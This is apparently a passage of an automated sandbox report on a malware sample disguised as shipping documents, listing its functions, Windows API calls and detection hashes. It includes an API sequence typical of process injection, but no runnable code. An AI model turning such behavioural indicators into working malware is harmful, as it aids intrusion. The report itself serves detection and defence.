                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009C0162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 009C0193
                                                  • Part of subcall function 009C0162: MapVirtualKeyW.USER32(00000010,00000000), ref: 009C019B
                                                  • Part of subcall function 009C0162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 009C01A6
                                                  • Part of subcall function 009C0162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 009C01B1
                                                  • Part of subcall function 009C0162: MapVirtualKeyW.USER32(00000011,00000000), ref: 009C01B9
                                                  • Part of subcall function 009C0162: MapVirtualKeyW.USER32(00000012,00000000), ref: 009C01C1
                                                  • Part of subcall function 009B60F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,009AF930), ref: 009B6154
                                                • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 009AF9CD
                                                • OleInitialize.OLE32(00000000), ref: 009AFA4A
                                                • CloseHandle.KERNEL32(00000000), ref: 009E45C8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                • String ID:
                                                • API String ID: 1986988660-0
                                                • Opcode ID: 345f74a76d8e954e6c3833d02322f21187199bd5b7db44e55c62b75f215b58f9
                                                • Instruction ID: fd13e4a68ee87f213ac6537336afe6cc10a78bc5268ab4cd727bfedd328eb5a4
                                                • Opcode Fuzzy Hash: 345f74a76d8e954e6c3833d02322f21187199bd5b7db44e55c62b75f215b58f9
                                                • Instruction Fuzzy Hash: ED81EAB0C01A40CFC384DFBAA9586587BF6FB89746F5085AAE059CB361EBF04486CF51
                                                Function 009A434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 009A4370
                                                • Shell_NotifyIconW.SHELL32(00000000,?), ref: 009A4415
                                                • Shell_NotifyIconW.SHELL32(00000001,?), ref: 009A4432
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: IconNotifyShell_$_memset
                                                • String ID:
                                                • API String ID: 1505330794-0
                                                • Opcode ID: 389f9c0c86103f57f6a3932a0dbeb5abff5adf664f2f6b8ce63fde51d734cde5
                                                • Instruction ID: a33fb31caca7f64342f79563bc0edbce53d9f0e67a120ccc1388b937bea004bd
                                                • Opcode Fuzzy Hash: 389f9c0c86103f57f6a3932a0dbeb5abff5adf664f2f6b8ce63fde51d734cde5
                                                • Instruction Fuzzy Hash: 653181709047018FD720DF74D88469BBBF8FB99308F00093EE59A86251D7F1A945CB92
                                                Function 009C571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • __FF_MSGBANNER.LIBCMT ref: 009C5733
                                                  • Part of subcall function 009CA16B: __NMSG_WRITE.LIBCMT ref: 009CA192
                                                  • Part of subcall function 009CA16B: __NMSG_WRITE.LIBCMT ref: 009CA19C
                                                • __NMSG_WRITE.LIBCMT ref: 009C573A
                                                  • Part of subcall function 009CA1C8: GetModuleFileNameW.KERNEL32(00000000,00A633BA,00000104,?,00000001,00000000), ref: 009CA25A
                                                  • Part of subcall function 009CA1C8: ___crtMessageBoxW.LIBCMT ref: 009CA308
                                                  • Part of subcall function 009C309F: ___crtCorExitProcess.LIBCMT ref: 009C30A5
                                                  • Part of subcall function 009C309F: ExitProcess.KERNEL32 ref: 009C30AE
                                                  • Part of subcall function 009C8B28: __getptd_noexit.LIBCMT ref: 009C8B28
                                                • RtlAllocateHeap.NTDLL(010C0000,00000000,00000001,00000000,?,?,?,009C0DD3,?), ref: 009C575F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                                • String ID:
                                                • API String ID: 1372826849-0
                                                • Opcode ID: 0751e21beb8abaa54bd5fd352dfc41e23cdd7e71d59c23a0a85dc69b4b853224
                                                • Instruction ID: 6cb937c9c59cb14ec2b1254899d4d259ab9fc325ea94c5f695a8094605941833
                                                • Opcode Fuzzy Hash: 0751e21beb8abaa54bd5fd352dfc41e23cdd7e71d59c23a0a85dc69b4b853224
                                                • Instruction Fuzzy Hash: 7501D272E00B11DADA106778AC92F2E635C8B92761F52052DF405AA182DFB4ADC24663
                                                Function 00A098A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00A09548,?,?,?,?,?,00000004), ref: 00A098BB
                                                • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00A09548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00A098D1
                                                • CloseHandle.KERNEL32(00000000,?,00A09548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00A098D8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: File$CloseCreateHandleTime
                                                • String ID:
                                                • API String ID: 3397143404-0
                                                • Opcode ID: 02abb2d49a4de8f13dccea57548558f7b4cd6691c086218bc5afa940fde5c7fc
                                                • Instruction ID: 87ed4a5d38e2c1dc7dfa3d05349df31b6c9d7e1cf4175a1979b48f73ecf5a7fd
                                                • Opcode Fuzzy Hash: 02abb2d49a4de8f13dccea57548558f7b4cd6691c086218bc5afa940fde5c7fc
                                                • Instruction Fuzzy Hash: 0FE08632141218BBD7315B98EC0AFDA7B69AB06760F108230FB24690E087B155239798
                                                Function 00A08D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON
                                                Download Yara Rule
                                                APIs
                                                • _free.LIBCMT ref: 00A08D1B
                                                  • Part of subcall function 009C2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,009C9A24), ref: 009C2D69
                                                  • Part of subcall function 009C2D55: GetLastError.KERNEL32(00000000,?,009C9A24), ref: 009C2D7B
                                                • _free.LIBCMT ref: 00A08D2C
                                                • _free.LIBCMT ref: 00A08D3E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _free$ErrorFreeHeapLast
                                                • String ID:
                                                • API String ID: 776569668-0
                                                • Opcode ID: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
                                                • Instruction ID: 3c3954ea3e66075ca20843afb03f092d3ad0ce9b867ddb947022f09150c3450d
                                                • Opcode Fuzzy Hash: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
                                                • Instruction Fuzzy Hash: E7E017E1A1160547CB24A7B8B940F9323EC4FA8752B140A2EB48ED71C6CE68F882812C
                                                Function 009AA9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: CALL
                                                • API String ID: 0-4196123274
                                                • Opcode ID: d409c1306c7a18c095b191366bb316c41339fe9d0ce9d95e80149af6e9cbd80b
                                                • Instruction ID: cc86b87233cae8cdd47c2c924c5be1099109a356f46429bcfe674618138d842b
                                                • Opcode Fuzzy Hash: d409c1306c7a18c095b191366bb316c41339fe9d0ce9d95e80149af6e9cbd80b
                                                • Instruction Fuzzy Hash: 00224670908301DFDB24DF14C494B6AB7E5BF8A314F14896DE89A8B362D735EC85CB82
                                                Function 009A4C70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memmove
                                                • String ID: EA06
                                                • API String ID: 4104443479-3962188686
                                                • Opcode ID: bd6f085f2aba615b2533ad3bf0acbb1d55b168f9130ee39b87201f018454554b
                                                • Instruction ID: 13c375ea3a8d6c9f2ab086cdba7d8cc78cee185a3def9c792621e22b24485fbb
                                                • Opcode Fuzzy Hash: bd6f085f2aba615b2533ad3bf0acbb1d55b168f9130ee39b87201f018454554b
                                                • Instruction Fuzzy Hash: 66415F31A041586BDF219B64C8517BE7FB6DBC7300F284875FC86DB2C6D6A46D4483E1
                                                Function 009A7A51 Relevance: 3.1, APIs: 2, Instructions: 97COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memmove
                                                • String ID:
                                                • API String ID: 4104443479-0
                                                • Opcode ID: 75b3ef76dc9c1d7680ff1126038a0b5bca49f3ec50bdc15de679bd26e1e87542
                                                • Instruction ID: e1f1ccacce73245d53da36484f48ea745798dae9ccb06da5536e36229e8e4482
                                                • Opcode Fuzzy Hash: 75b3ef76dc9c1d7680ff1126038a0b5bca49f3ec50bdc15de679bd26e1e87542
                                                • Instruction Fuzzy Hash: 443173B1604606BFC704DFA8DCD2E69F3A9FF89310B158629E519CB291EB34E950CBD0
                                                Function 009A47D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                Download Yara Rule
                                                APIs
                                                • IsThemeActive.UXTHEME ref: 009A4834
                                                  • Part of subcall function 009C336C: __lock.LIBCMT ref: 009C3372
                                                  • Part of subcall function 009C336C: DecodePointer.KERNEL32(00000001,?,009A4849,009F7C74), ref: 009C337E
                                                  • Part of subcall function 009C336C: EncodePointer.KERNEL32(?,?,009A4849,009F7C74), ref: 009C3389
                                                  • Part of subcall function 009A48FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 009A4915
                                                  • Part of subcall function 009A48FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 009A492A
                                                  • Part of subcall function 009A3B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 009A3B68
                                                  • Part of subcall function 009A3B3A: IsDebuggerPresent.KERNEL32 ref: 009A3B7A
                                                  • Part of subcall function 009A3B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,00A652F8,00A652E0,?,?), ref: 009A3BEB
                                                  • Part of subcall function 009A3B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 009A3C6F
                                                • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 009A4874
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
                                                • String ID:
                                                • API String ID: 1438897964-0
                                                • Opcode ID: 11d6dabababe9a8a9a26911792847f720ba65e3cba438e692ddd328419e214c3
                                                • Instruction ID: b73c02e383b85054d02fb9aefce60ecc1d0dd48e3f4e9d28cd05be3b044c29ce
                                                • Opcode Fuzzy Hash: 11d6dabababe9a8a9a26911792847f720ba65e3cba438e692ddd328419e214c3
                                                • Instruction Fuzzy Hash: 75118C719083419FC700EFB8E805A5ABBF8FBC5750F10892EF440832B1DBB49546CB92
                                                Function 009C0DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009C571C: __FF_MSGBANNER.LIBCMT ref: 009C5733
                                                  • Part of subcall function 009C571C: __NMSG_WRITE.LIBCMT ref: 009C573A
                                                  • Part of subcall function 009C571C: RtlAllocateHeap.NTDLL(010C0000,00000000,00000001,00000000,?,?,?,009C0DD3,?), ref: 009C575F
                                                • std::exception::exception.LIBCMT ref: 009C0DEC
                                                • __CxxThrowException@8.LIBCMT ref: 009C0E01
                                                  • Part of subcall function 009C859B: RaiseException.KERNEL32(?,?,?,00A59E78,00000000,?,?,?,?,009C0E06,?,00A59E78,?,00000001), ref: 009C85F0
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                                • String ID:
                                                • API String ID: 3902256705-0
                                                • Opcode ID: dd02f460c79d0bc3da05837cecda008be137afc21dae768be16de2e6a3a64013
                                                • Instruction ID: 024ba62d01795743477f7aec0961e1a3caa3a904e164940eb610ac4293114375
                                                • Opcode Fuzzy Hash: dd02f460c79d0bc3da05837cecda008be137afc21dae768be16de2e6a3a64013
                                                • Instruction Fuzzy Hash: 54F08131D4031AA6DB14AA94EC01FDF77ACAF81351F10486EFD08A6191EFB19A8086D2
                                                Function 009C53A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009C8B28: __getptd_noexit.LIBCMT ref: 009C8B28
                                                • __lock_file.LIBCMT ref: 009C53EB
                                                  • Part of subcall function 009C6C11: __lock.LIBCMT ref: 009C6C34
                                                • __fclose_nolock.LIBCMT ref: 009C53F6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                                • String ID:
                                                • API String ID: 2800547568-0
                                                • Opcode ID: fb4fa530a55a74e004f595c938861b2c438c6bb203d118207730a1b3bdc811ab
                                                • Instruction ID: c147c049eb04fe734d5ddef3ddb265e4f3d26af262771aa99eed5ee1f5fa9b02
                                                • Opcode Fuzzy Hash: fb4fa530a55a74e004f595c938861b2c438c6bb203d118207730a1b3bdc811ab
                                                • Instruction Fuzzy Hash: ECF09631D10A44DAD7107B659801FAE66A06F81375F22860CA464AB1C1CBFC59815B53
                                                Function 01315815 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateProcessW.KERNELBASE(?,00000000), ref: 01315FD3
                                                • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01316069
                                                • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0131608B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1381132432.0000000001314000.00000040.00000020.00020000.00000000.sdmp, Offset: 01314000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1314000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                • String ID:
                                                • API String ID: 2438371351-0
                                                • Opcode ID: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                                                • Instruction ID: f88850d0bc27a2407b92daf43a2285f0784078b900f977f6b0181215115fc6c1
                                                • Opcode Fuzzy Hash: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                                                • Instruction Fuzzy Hash: 1D12DE20E18658C6EB24DF64D8507DEB232EF68300F1094E9910DEB7A5E77A4F81CF5A
                                                Function 009C0C08 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ProtectVirtual
                                                • String ID:
                                                • API String ID: 544645111-0
                                                • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                • Instruction ID: d4ae1830cabbfd044f609d1959f2bb65253f1f719eea817e01eb30c4ca946253
                                                • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                • Instruction Fuzzy Hash: 1A31A270E40105DBC718DF58C484A69FBAAFB99300F6487A9E88ACB355D631EDC1DB92
                                                Function 009DFCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClearVariant
                                                • String ID:
                                                • API String ID: 1473721057-0
                                                • Opcode ID: bc702134b324724fbc9bd1b0364972473f07008a04af209fa6280eca0b54a41f
                                                • Instruction ID: 6f78e5df02e76e380842b517b223d51205a0548a94d527e85d722ccfeecd2890
                                                • Opcode Fuzzy Hash: bc702134b324724fbc9bd1b0364972473f07008a04af209fa6280eca0b54a41f
                                                • Instruction Fuzzy Hash: 5F41F5749043419FDB24DF14C454B1ABBE1BF8A314F0988ACE89A8B762C776EC45CB92
                                                Function 009A7B53 Relevance: 1.6, APIs: 1, Instructions: 84COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memmove
                                                • String ID:
                                                • API String ID: 4104443479-0
                                                • Opcode ID: 9810120b6b275fa179fca3d12daaa8fe91d2109cddddb78828484029611dac5a
                                                • Instruction ID: 089a169a5f5b40bbce6c823edbfa00a5d30169a0b31f04b670ee9aa192212690
                                                • Opcode Fuzzy Hash: 9810120b6b275fa179fca3d12daaa8fe91d2109cddddb78828484029611dac5a
                                                • Instruction Fuzzy Hash: C0213872A14B09EBDB109FA1EC4276ABBB4FB54351F21C42EE886C9290EB3090D0D755
                                                Function 009A4DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A4BB5: FreeLibrary.KERNEL32(00000000,?), ref: 009A4BEF
                                                  • Part of subcall function 009C525B: __wfsopen.LIBCMT ref: 009C5266
                                                • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00A652F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 009A4E0F
                                                  • Part of subcall function 009A4B6A: FreeLibrary.KERNEL32(00000000), ref: 009A4BA4
                                                  • Part of subcall function 009A4C70: _memmove.LIBCMT ref: 009A4CBA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Library$Free$Load__wfsopen_memmove
                                                • String ID:
                                                • API String ID: 1396898556-0
                                                • Opcode ID: f72ff3afbf88ae25a4891f3a012f425ad91f686e490826582878fb42a914b440
                                                • Instruction ID: 488de2140afef699d392b6435d6bb896e45f7003005b60e0076879020ec4fd5a
                                                • Opcode Fuzzy Hash: f72ff3afbf88ae25a4891f3a012f425ad91f686e490826582878fb42a914b440
